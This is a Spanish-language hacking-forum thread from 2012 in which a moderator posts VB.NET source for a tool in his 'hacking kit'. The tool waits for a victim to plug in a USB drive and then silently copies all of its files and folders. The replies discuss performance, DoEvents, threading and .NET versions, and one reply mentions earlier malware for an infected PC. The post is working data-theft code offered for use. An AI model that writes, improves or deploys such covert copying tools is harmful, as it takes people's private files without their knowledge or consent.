elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  [APORTE] Interceptar Archivos/Directorios USB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [APORTE] Interceptar Archivos/Directorios USB  (Leído 9,612 veces)
kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
[APORTE] Interceptar Archivos/Directorios USB
« en: 11 Abril 2012, 19:16 pm »

Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:
Código
  1. Imports Microsoft.VisualBasic.FileIO
  2. Module Interceptar
  3.    Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
  4.        Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
  5.        For Each Ruta_Archivo As String In Archivos
  6.            Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
  7.            Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
  8.            FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
  9.        Next
  10.    End Sub
  11.    Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
  12.        Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
  13.        For Each Ruta_Directorio As String In Directorios
  14.            Console.WriteLine(Ruta_Directorio)
  15.            Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
  16.            FileSystem.CreateDirectory(CurDir() + Directorio)
  17.            FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
  18.        Next
  19.    End Sub
  20.    Sub Main()
  21.        Console.WriteLine("--Interceptar Archivos/Directorios USB--")
  22.        Dim Ruta_USB As String = Nothing
  23.        While Ruta_USB = Nothing
  24.            For Each drive In FileSystem.Drives
  25.                If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
  26.                    Console.WriteLine("Se encontro un dispositivo USB")
  27.                    Ruta_USB = drive.Name
  28.                    Console.WriteLine(drive.Name)
  29.                    Try
  30.                        Interceptar_Archivos(Ruta_USB)
  31.                        Interceptar_Carpetas(Ruta_USB)
  32.                    Catch ex As Exception
  33.                    End Try
  34.                End If
  35.            Next
  36.        End While
  37.        Console.Read()
  38.    End Sub
  39. End Module
  40.  

Happy Hacking ;)


En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #1 en: 11 Abril 2012, 19:29 pm »

Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** :)
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.

Despues yo haria una funcion sola, no 2, pero eso es a gusto xD

Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.


En línea

kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #2 en: 11 Abril 2012, 19:43 pm »

Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** :)
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.

Despues yo haria una funcion sola, no 2, pero eso es a gusto xD

Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.

No incluí DoEvents() ya que en mi PC ni se congela la aplicación ni se retrasa ningun proceso pero sería Application.DoEvents(). Está compilado bajo el Framework 4.0, que lamentablemente Win7 no trae por defecto (trae el 3.5) :P Gracias por el consejo, ya me pasa en las máquinas virtuales que tengo que instalar el 4.0 siempre que trasteo con aplicaciones.

Buscaré como compilar bajo 3.5, gracias :)

Un saludo!
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #3 en: 11 Abril 2012, 20:12 pm »

Yo no probe tu codigo, pero me acuerdo que en vb6 tuve problemas asi, cuando hacia bucles para esperar que la pc infectada este conectada a internet y se me trababa la pc y me dijo Karcrack esa vez que ponga el DoEvents y se soluciono. Y si sigue estando en .net es porque habra que usarlo aun, es que tiene logica.. el bucle esta recorriendose muchisimas veces, vs tal vez has puesto el usb al poco tiempo, pero imaginate una pc que conecte el usb a las 10 horas, tu bucle seguira entrando y entrando sin dejar respirar, que es para lo que sirve el DoEvents.

Saludos
En línea

kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #4 en: 11 Abril 2012, 20:59 pm »

En vb6 por lo que me he fijado se llama bastante a DoEvents para que no se congele la aplicación, bueno en .NET esto lo consigo creando un simple Hilo, o bien llamando a DoEvents como uno quiera.

Saludos.
« Última modificación: 11 Abril 2012, 21:43 pm por kub0x » En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #5 en: 11 Abril 2012, 21:42 pm »

He estado monitorizando el consumo de la app y es todo el rato de 2 Mb (sin llamar a DoEvents()). Luego introduzco el USB y funciona correctamente...

Por cierto, si te fijas la aplicacion es en consola, para implementar DoEvents() tendrías que añadir una referencia a System.Windows.Forms.

Un saludo.
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #6 en: 11 Abril 2012, 21:48 pm »

Si, tienes razon, no me di cuenta, y creo que es para eso mismo, para las ventanas que puede traer problemas cuando estas haciendo una operacion que demora mucho, asi que no pongas nada y ta jaja, saludos, buen aporte
En línea

Maurice_Lupin


Desconectado Desconectado

Mensajes: 356

GPS


Ver Perfil WWW
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #7 en: 15 Abril 2012, 18:49 pm »

Estas utilizando sintaxis de vb6 en vb.net, según lei no es recomendable, pero funciona.

Me ha tomado tiempo el paso de vb6 a vb.net. Yo supongo que con un Thread en background deberia funcionar muy bien.

Saludos  ;-)
En línea

Un error se comete al equivocarse.
kub0x
Enlightenment Seeker
Moderador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #8 en: 15 Abril 2012, 20:41 pm »

La verdad nunca toqué vb6 :D En .NET para ejecutar esos métodos lo hago casi todas las veces mediante un hilo en vez de llamar a la función :P

Pero gracias a dios leí hace poco sobre programación asincronica, me documenté un poco por msdn y otras y ya mucho mejor con las funciones Callback y con los Delegados. La verdad que ganas bastantes recursos y puedes ahorrarte sentencias de repetición y llamadas a DoEvents (muy vb6 :D)

Saludos.
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

Maurice_Lupin


Desconectado Desconectado

Mensajes: 356

GPS


Ver Perfil WWW
Re: [APORTE] Interceptar Archivos/Directorios USB
« Respuesta #9 en: 15 Abril 2012, 23:30 pm »

Se me ocurre, tal vez, se pueda programar algo para impedir el copiado al insertar la unidad flash, es cuestion de investigar.

Saludos  :silbar:
En línea

Un error se comete al equivocarse.
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines